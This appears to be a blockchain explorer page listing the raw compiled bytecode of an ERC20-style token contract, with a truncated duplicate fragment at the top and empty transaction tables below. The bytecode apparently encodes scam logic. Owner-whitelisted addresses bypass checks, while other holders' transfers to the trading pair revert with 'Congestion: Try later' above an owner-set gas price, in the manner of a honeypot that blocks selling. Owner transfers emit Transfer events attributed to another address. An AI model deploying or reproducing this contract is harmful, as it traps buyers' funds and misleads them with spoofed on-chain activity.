d08565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d859190612a55565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611de9919061216a565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e3982611df7565b611e438185611e01565b9350611e53818560208601611e11565b611e5c81611e1f565b840191505092915050565b5f6020820190508181035f830152611e7f8184611e2f565b905092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611ed282611e1f565b810181811067ffffffffffffffff82111715611ef157611ef0611e9c565b5b80604052505050565b5f611f03611e87565b9050611f0f8282611ec9565b919050565b5f67ffffffffffffffff821115611f2e57611f2d611e9c565b5b602082029050602081019050919050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f6c82611f43565b9050919050565b611f7c81611f62565b8114611f86575f5ffd5b50565b5f81359050611f9781611f73565b92915050565b5f611faf611faa84611f14565b611efa565b90508083825260208201905060208402830185811115611fd257611fd1611f3f565b5b835b81811015611ffb5780611fe78882611f89565b845260208401935050602081019050611fd4565b5050509392505050565b5f82601f83011261201957612018611e98565b5b8135612029848260208601611f9d565b91505092915050565b5f819050919050565b61204481612032565b811461204e575f5ffd5b50565b5f8135905061205f8161203b565b92915050565b5f5f6040838503121561207b5761207a611e90565b5b5f83013567ffffffffffffffff81111561209857612097611e94565b5b6120a485828601612005565b92505060206120b585828601612051565b9150509250929050565b5f5f604083850312156120d5576120d4611e90565b5b5f6120e285828601611f89565b92505060206120f385828601612051565b9150509250929050565b5f8115159050919050565b612111816120fd565b82525050565b5f60208201905061212a5f830184612108565b92915050565b5f6020828403121561214557612144611e90565b5b5f61215284828501611f89565b91505092915050565b61216481612032565b82525050565b5f60208201905061217d5f83018461215b565b92915050565b5f5f5f6060848603121561219a57612199611e90565b5b5f6121a786828701611f89565b93505060206121b886828701611f89565b92505060406121c986828701612051565b9150509250925092565b5f60ff82169050919050565b6121e8816121d3565b82525050565b5f6020820190506122015f8301846121df565b92915050565b5f5f6040838503121561221d5761221c611e90565b5b5f61222a85828601612051565b925050602061223b85828601611f89565b9150509250929050565b61224e81611f62565b82525050565b5f6020820190506122675f830184612245565b92915050565b5f5ffd5b5f5f83601f84011261228657612285611e98565b5b8235905067ffffffffffffffff8111156122a3576122a261226d565b5b6020830191508360208202830111156122bf576122be611f3f565b5b9250929050565b6122cf816120fd565b81146122d9575f5ffd5b50565b5f813590506122ea816122c6565b92915050565b5f5f5f6040848603121561230757612306611e90565b5b5f84013567ffffffffffffffff81111561232457612323611e94565b5b61233086828701612271565b93509350506020612343868287016122dc565b9150509250925092565b5f6020828403121561236257612361611e90565b5b5f61236f84828501612051565b91505092915050565b5f5f5f6060848603121561238f5761238e611e90565b5b5f84013567ffffffffffffffff8111156123ac576123ab611e94565b5b6123b886828701612005565b93505060206123c986828701612051565b92505060406123da86828701612051565b9150509250925092565b5f5f604083850312156123fa576123f9611e90565b5b5f61240785828601611f89565b925050602061241885828601611f89565b9150509250929050565b5f6020828403121561243757612436611e90565b5b5f612444848285016122dc565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061249157607f821691505b6020821081036124a4576124a361244d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6124de602083611e01565b91506124e9826124aa565b602082019050919050565b5f6020820190508181035f83015261250b816124d2565b9050919050565b7f526563697069656e7473206c6973742063616e6e6f7420626520656d707479005f82015250565b5f612546601f83611e01565b915061255182612512565b602082019050919050565b5f6020820190508181035f8301526125738161253a565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f5f82015250565b5f6125ae602083611e01565b91506125b98261257a565b602082019050919050565b5f6020820190508181035f8301526125db816125a2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115612664578086048111156126405761263f6125e2565b5b600185161561264f5780820291505b808102905061265d8561260f565b9450612624565b94509492505050565b5f8261267c5760019050612737565b81612689575f9050612737565b816001811461269f57600281146126a9576126d8565b6001915050612737565b60ff8411156126bb576126ba6125e2565b5b8360020a9150848211156126d2576126d16125e2565b5b50612737565b5060208310610133831016604e8410600b841016171561270d5782820a905083811115612708576127076125e2565b5b612737565b61271a848484600161261b565b92509050818404811115612731576127306125e2565b5b81810290505b9392505050565b5f61274882612032565b9150612753836121d3565b92506127807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461266d565b905092915050565b5f61279282612032565b915061279d83612032565b92508282026127ab81612032565b915082820484148315176127c2576127c16125e2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f496e76616c696420726563697069656e742061646472657373000000000000005f82015250565b5f61282a601983611e01565b9150612835826127f6565b602082019050919050565b5f6020820190508181035f8301526128578161281e565b9050919050565b7f45524332303a20616c6c6f77616e6365206578636565646564000000000000005f82015250565b5f612892601983611e01565b915061289d8261285e565b602082019050919050565b5f6020820190508181035f8301526128bf81612886565b9050919050565b5f815190506128d481611f73565b92915050565b5f602082840312156128ef576128ee611e90565b5b5f6128fc848285016128c6565b91505092915050565b5f6040820190506129185f830185612245565b6129256020830184612245565b9392505050565b7f4d696e20616d6f756e74206d7573742062652067726561746572207468616e205f8201527f7a65726f00000000000000000000000000000000000000000000000000000000602082015250565b5f612986602483611e01565b91506129918261292c565b604082019050919050565b5f6020820190508181035f8301526129b38161297a565b9050919050565b7f4d617820616d6f756e74206d757374206265203e3d206d696e20616d6f756e745f82015250565b5f6129ee602083611e01565b91506129f9826129ba565b602082019050919050565b5f6020820190508181035f830152612a1b816129e2565b9050919050565b5f612a2c82612032565b9150612a3783612032565b9250828203905081811115612a4f57612a4e6125e2565b5b92915050565b5f612a5f82612032565b9150612a6a83612032565b9250828201905080821115612a8257612a816125e2565b5b92915050565b5f819050919050565b612aa2612a9d82612032565b612a88565b82525050565b5f8160601b9050919050565b5f612abe82612aa8565b9050919050565b5f612acf82612ab4565b9050919050565b612ae7612ae282611f62565b612ac5565b82525050565b5f612af88286612a91565b602082019150612b088285612ad6565b601482019150612b188284612a91565b602082019150819050949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b6082612032565b9150612b6b83612032565b925082612b7b57612b7a612b29565b5b828206905092915050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f612bba601283611e01565b9150612bc582612b86565b602082019050919050565b5f6020820190508181035f830152612be781612bae565b9050919050565b7f436f6e67657374696f6e3a20547279206c6174657200000000000000000000005f82015250565b5f612c22601583611e01565b9150612c2d82612bee565b602082019050919050565b5f6020820190508181035f830152612c4f81612c16565b9050919050565b7f45524332303a207a65726f2061646472657373000000000000000000000000005f82015250565b5f612c8a601383611e01565b9150612c9582612c56565b602082019050919050565b5f6020820190508181035f830152612cb781612c7e565b9050919050565b7f45524332303a20616d6f756e74206578636565646564000000000000000000005f82015250565b5f612cf2601683611e01565b9150612cfd82612cbe565b602082019050919050565b5f6020820190508181035f830152612d1f81612ce6565b905091905056fea264697066735822122031fb847454781ce7eb9355e623ffc6404cc7a1e3e8d7c0f89c7b0bd0981d141e64736f6c63430008220033
0x608060405234801561000f575f5ffd5b5060043610610156575f3560e01c8063882a974f116100c1578063d669e1d41161007a578063d669e1d4146103a0578063d7cd4bf7146103be578063dc9ed836146103c8578063dd62ed3e146103e4578063f275f64b14610414578063fe9fbb801461043057610156565b8063882a974f146102dc5780638da5cb5b146102fa5780638e3b45251461031857806395d89b4114610334578063a9059cbb14610352578063b5260df61461038257610156565b8063313ce56711610113578063313ce5671461022e57806332e851e01461024c5780633ab037841461026857806341d8d04d1461028657806370a08231146102a2578063715018a6146102d257610156565b806306fdde031461015a57806308b3e41914610178578063095ea7b31461019457806314bef93e146101c457806318160ddd146101e057806323b872dd146101fe575b5f5ffd5b610162610460565b60405161016f9190611e67565b60405180910390f35b610192600480360381019061018d9190612065565b6104f0565b005b6101ae60048036038101906101a991906120bf565b6106fb565b6040516101bb9190612117565b60405180910390f35b6101de60048036038101906101d99190612130565b610718565b005b6101e86107f1565b6040516101f5919061216a565b60405180910390f35b61021860048036038101906102139190612183565b6107fa565b6040516102259190612117565b60405180910390f35b6102366108ec565b60405161024391906121ee565b60405180910390f35b61026660048036038101906102619190612207565b6108f4565b005b6102706109d5565b60405161027d9190612254565b60405180910390f35b6102a0600480360381019061029b91906122f0565b6109fa565b005b6102bc60048036038101906102b79190612130565b610b2e565b6040516102c9919061216a565b60405180910390f35b6102da610b73565b005b6102e4610c14565b6040516102f19190612117565b60405180910390f35b610302610c27565b60405161030f9190612254565b60405180910390f35b610332600480360381019061032d919061234d565b610c4f565b005b61033c610f48565b6040516103499190611e67565b60405180910390f35b61036c600480360381019061036791906120bf565b610fd8565b6040516103799190612117565b60405180910390f35b61038a610ff5565b6040516103979190612254565b60405180910390f35b6103a861101a565b6040516103b5919061216a565b60405180910390f35b6103c661102a565b005b6103e260048036038101906103dd9190612378565b61131b565b005b6103fe60048036038101906103f991906123e4565b6115d2565b60405161040b919061216a565b60405180910390f35b61042e60048036038101906104299190612422565b611654565b005b61044a60048036038101906104459190612130565b611707565b6040516104579190612117565b60405180910390f35b60606003805461046f9061247a565b80601f016020809104026020016040519081016040528092919081815260200182805461049b9061247a565b80156104e65780601f106104bd576101008083540402835291602001916104e6565b820191905f5260205f20905b8154815290600101906020018083116104c957829003601f168201915b5050505050905090565b6104f8611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057d906124f4565b60405180910390fd5b5f8251116105c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c09061255c565b60405180910390fd5b5f811161060b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610602906125c4565b60405180910390fd5b5f6106146108ec565b600a610620919061273e565b8261062b9190612788565b90505f5f90505b83518110156106f5575f73ffffffffffffffffffffffffffffffffffffffff16848281518110610665576106646127c9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16036106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612840565b60405180910390fd5b6106e8338583815181106106da576106d96127c9565b5b60200260200101518461172b565b8080600101915050610632565b50505050565b5f61070e610707611724565b8484611a23565b6001905092915050565b610720611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a5906124f4565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f600254905090565b5f61080684848461172b565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61084d611724565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156108cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c3906128a8565b60405180910390fd5b6108e0856108d8611724565b858403611a23565b60019150509392505050565b5f6012905090565b6108fc611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461098a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610981906124f4565b60405180910390fd5b816008819055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a02611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a87906124f4565b60405180910390fd5b5f5f90505b83839050811015610b28578160095f868685818110610ab757610ab66127c9565b5b9050602002016020810190610acc9190612130565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610a95565b50505050565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b7b611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c00906124f4565b60405180910390fd5b610c125f611b0a565b565b600760149054906101000a900460ff1681565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c57611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdc906124f4565b60405180910390fd5b806008819055505f60384603610d11577310ed43c718714eb63d5aa57b78b54704e256024e9050610dad565b60014603610d3557737a250d5630b4cf539739df2c5dacb4c659f2488d9050610dac565b6121054603610d5a57734752ba5dbc23f44d87826276bf6fd6b1c372ad249050610dab565b62aa36a74603610d805773ee567fe1712faf6149d80da1e6934e354124cfe39050610daa565b6112374603610da55773c9271f5cb901e30a22268687a8776e6a048e0cb99050610da9565b5f5ffd5b5b5b5b5b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfa573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e1e91906128da565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e83573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea791906128da565b6040518363ffffffff1660e01b8152600401610ec4929190612905565b6020604051808303815f875af1158015610ee0573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f0491906128da565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b606060048054610f579061247a565b80601f0160208091040260200160405190810160405280929190818152602001828054610f839061247a565b8015610fce5780601f10610fa557610100808354040283529160200191610fce565b820191905f5260205f20905b815481529060010190602001808311610fb157829003601f168201915b5050505050905090565b5f610feb610fe4611724565b848461172b565b6001905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6b033b2e3c9fd0803ce800000081565b611032611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b7906124f4565b60405180910390fd5b5f603846036110e5577310ed43c718714eb63d5aa57b78b54704e256024e9050611181565b6001460361110957737a250d5630b4cf539739df2c5dacb4c659f2488d9050611180565b612105460361112e57734752ba5dbc23f44d87826276bf6fd6b1c372ad24905061117f565b62aa36a746036111545773ee567fe1712faf6149d80da1e6934e354124cfe3905061117e565b61123746036111795773c9271f5cb901e30a22268687a8776e6a048e0cb9905061117d565b5f5ffd5b5b5b5b5b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111ce573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111f291906128da565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611257573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061127b91906128da565b6040518363ffffffff1660e01b8152600401611298929190612905565b6020604051808303815f875af11580156112b4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112d891906128da565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611323611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a8906124f4565b60405180910390fd5b5f8351116113f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113eb9061255c565b60405180910390fd5b5f8211611436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142d9061299c565b60405180910390fd5b81811015611479576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147090612a04565b60405180910390fd5b5f6114826108ec565b600a61148e919061273e565b90505f6001848461149f9190612a22565b6114a99190612a55565b90505f5f90505b85518110156115ca575f73ffffffffffffffffffffffffffffffffffffffff168682815181106114e3576114e26127c9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1603611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153890612840565b60405180910390fd5b5f858342338560405160200161155993929190612aed565b604051602081830303815290604052805190602001205f1c61157b9190612b56565b6115859190612a55565b90505f84826115949190612788565b90506115bb338985815181106115ad576115ac6127c9565b5b60200260200101518361172b565b505080806001019150506114b0565b505050505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61165c611724565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e1906124f4565b60405180910390fd5b80600760146101000a81548160ff02191690831515021790555050565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f33905090565b60095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806117b25750611783610c27565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806117ef57506117c0610c27565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611804576117ff838383611bcd565b611a1e565b600760149054906101000a900460ff16611853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184a90612bd0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156118fc575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611951575f6008541115611950576008543a1061194f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194690612c38565b60405180910390fd5b5b5b61195c838383611bcd565b611964610c27565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a1d578173ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a14919061216a565b60405180910390a35b5b505050565b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afd919061216a565b60405180910390a3505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c3557505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6b90612ca0565b60405180910390fd5b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cee90612d08565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d859190612a55565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611de9919061216a565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e3982611df7565b611e438185611e01565b9350611e53818560208601611e11565b611e5c81611e1f565b840191505092915050565b5f6020820190508181035f830152611e7f8184611e2f565b905092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611ed282611e1f565b810181811067ffffffffffffffff82111715611ef157611ef0611e9c565b5b80604052505050565b5f611f03611e87565b9050611f0f8282611ec9565b919050565b5f67ffffffffffffffff821115611f2e57611f2d611e9c565b5b602082029050602081019050919050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f6c82611f43565b9050919050565b611f7c81611f62565b8114611f86575f5ffd5b50565b5f81359050611f9781611f73565b92915050565b5f611faf611faa84611f14565b611efa565b90508083825260208201905060208402830185811115611fd257611fd1611f3f565b5b835b81811015611ffb5780611fe78882611f89565b845260208401935050602081019050611fd4565b5050509392505050565b5f82601f83011261201957612018611e98565b5b8135612029848260208601611f9d565b91505092915050565b5f819050919050565b61204481612032565b811461204e575f5ffd5b50565b5f8135905061205f8161203b565b92915050565b5f5f6040838503121561207b5761207a611e90565b5b5f83013567ffffffffffffffff81111561209857612097611e94565b5b6120a485828601612005565b92505060206120b585828601612051565b9150509250929050565b5f5f604083850312156120d5576120d4611e90565b5b5f6120e285828601611f89565b92505060206120f385828601612051565b9150509250929050565b5f8115159050919050565b612111816120fd565b82525050565b5f60208201905061212a5f830184612108565b92915050565b5f6020828403121561214557612144611e90565b5b5f61215284828501611f89565b91505092915050565b61216481612032565b82525050565b5f60208201905061217d5f83018461215b565b92915050565b5f5f5f6060848603121561219a57612199611e90565b5b5f6121a786828701611f89565b93505060206121b886828701611f89565b92505060406121c986828701612051565b9150509250925092565b5f60ff82169050919050565b6121e8816121d3565b82525050565b5f6020820190506122015f8301846121df565b92915050565b5f5f6040838503121561221d5761221c611e90565b5b5f61222a85828601612051565b925050602061223b85828601611f89565b9150509250929050565b61224e81611f62565b82525050565b5f6020820190506122675f830184612245565b92915050565b5f5ffd5b5f5f83601f84011261228657612285611e98565b5b8235905067ffffffffffffffff8111156122a3576122a261226d565b5b6020830191508360208202830111156122bf576122be611f3f565b5b9250929050565b6122cf816120fd565b81146122d9575f5ffd5b50565b5f813590506122ea816122c6565b92915050565b5f5f5f6040848603121561230757612306611e90565b5b5f84013567ffffffffffffffff81111561232457612323611e94565b5b61233086828701612271565b93509350506020612343868287016122dc565b9150509250925092565b5f6020828403121561236257612361611e90565b5b5f61236f84828501612051565b91505092915050565b5f5f5f6060848603121561238f5761238e611e90565b5b5f84013567ffffffffffffffff8111156123ac576123ab611e94565b5b6123b886828701612005565b93505060206123c986828701612051565b92505060406123da86828701612051565b9150509250925092565b5f5f604083850312156123fa576123f9611e90565b5b5f61240785828601611f89565b925050602061241885828601611f89565b9150509250929050565b5f6020828403121561243757612436611e90565b5b5f612444848285016122dc565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061249157607f821691505b6020821081036124a4576124a361244d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6124de602083611e01565b91506124e9826124aa565b602082019050919050565b5f6020820190508181035f83015261250b816124d2565b9050919050565b7f526563697069656e7473206c6973742063616e6e6f7420626520656d707479005f82015250565b5f612546601f83611e01565b915061255182612512565b602082019050919050565b5f6020820190508181035f8301526125738161253a565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f5f82015250565b5f6125ae602083611e01565b91506125b98261257a565b602082019050919050565b5f6020820190508181035f8301526125db816125a2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115612664578086048111156126405761263f6125e2565b5b600185161561264f5780820291505b808102905061265d8561260f565b9450612624565b94509492505050565b5f8261267c5760019050612737565b81612689575f9050612737565b816001811461269f57600281146126a9576126d8565b6001915050612737565b60ff8411156126bb576126ba6125e2565b5b8360020a9150848211156126d2576126d16125e2565b5b50612737565b5060208310610133831016604e8410600b841016171561270d5782820a905083811115612708576127076125e2565b5b612737565b61271a848484600161261b565b92509050818404811115612731576127306125e2565b5b81810290505b9392505050565b5f61274882612032565b9150612753836121d3565b92506127807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461266d565b905092915050565b5f61279282612032565b915061279d83612032565b92508282026127ab81612032565b915082820484148315176127c2576127c16125e2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f496e76616c696420726563697069656e742061646472657373000000000000005f82015250565b5f61282a601983611e01565b9150612835826127f6565b602082019050919050565b5f6020820190508181035f8301526128578161281e565b9050919050565b7f45524332303a20616c6c6f77616e6365206578636565646564000000000000005f82015250565b5f612892601983611e01565b915061289d8261285e565b602082019050919050565b5f6020820190508181035f8301526128bf81612886565b9050919050565b5f815190506128d481611f73565b92915050565b5f602082840312156128ef576128ee611e90565b5b5f6128fc848285016128c6565b91505092915050565b5f6040820190506129185f830185612245565b6129256020830184612245565b9392505050565b7f4d696e20616d6f756e74206d7573742062652067726561746572207468616e205f8201527f7a65726f00000000000000000000000000000000000000000000000000000000602082015250565b5f612986602483611e01565b91506129918261292c565b604082019050919050565b5f6020820190508181035f8301526129b38161297a565b9050919050565b7f4d617820616d6f756e74206d757374206265203e3d206d696e20616d6f756e745f82015250565b5f6129ee602083611e01565b91506129f9826129ba565b602082019050919050565b5f6020820190508181035f830152612a1b816129e2565b9050919050565b5f612a2c82612032565b9150612a3783612032565b9250828203905081811115612a4f57612a4e6125e2565b5b92915050565b5f612a5f82612032565b9150612a6a83612032565b9250828201905080821115612a8257612a816125e2565b5b92915050565b5f819050919050565b612aa2612a9d82612032565b612a88565b82525050565b5f8160601b9050919050565b5f612abe82612aa8565b9050919050565b5f612acf82612ab4565b9050919050565b612ae7612ae282611f62565b612ac5565b82525050565b5f612af88286612a91565b602082019150612b088285612ad6565b601482019150612b188284612a91565b602082019150819050949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b6082612032565b9150612b6b83612032565b925082612b7b57612b7a612b29565b5b828206905092915050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f612bba601283611e01565b9150612bc582612b86565b602082019050919050565b5f6020820190508181035f830152612be781612bae565b9050919050565b7f436f6e67657374696f6e3a20547279206c6174657200000000000000000000005f82015250565b5f612c22601583611e01565b9150612c2d82612bee565b602082019050919050565b5f6020820190508181035f830152612c4f81612c16565b9050919050565b7f45524332303a207a65726f2061646472657373000000000000000000000000005f82015250565b5f612c8a601383611e01565b9150612c9582612c56565b602082019050919050565b5f6020820190508181035f830152612cb781612c7e565b9050919050565b7f45524332303a20616d6f756e74206578636565646564000000000000000000005f82015250565b5f612cf2601683611e01565b9150612cfd82612cbe565b602082019050919050565b5f6020820190508181035f830152612d1f81612ce6565b905091905056fea264697066735822122031fb847454781ce7eb9355e623ffc6404cc7a1e3e8d7c0f89c7b0bd0981d141e64736f6c63430008220033
| Token | Symbol | Balance | Price | Value |
|---|---|---|---|---|
| no token holdings | ||||
| Type | Age | Block | Details |
|---|---|---|---|
| no cross-chain L1↔L2 transactions for this address | |||
| Transaction Hash | Method | Block | Age | From | To | Amount | Token | ||
|---|---|---|---|---|---|---|---|---|---|
| no token transfers for this address yet | |||||||||
| Transaction Hash | Method | Block | Age | From | To | Type | Item | ||
|---|---|---|---|---|---|---|---|---|---|
| no NFT transfers for this address yet | |||||||||
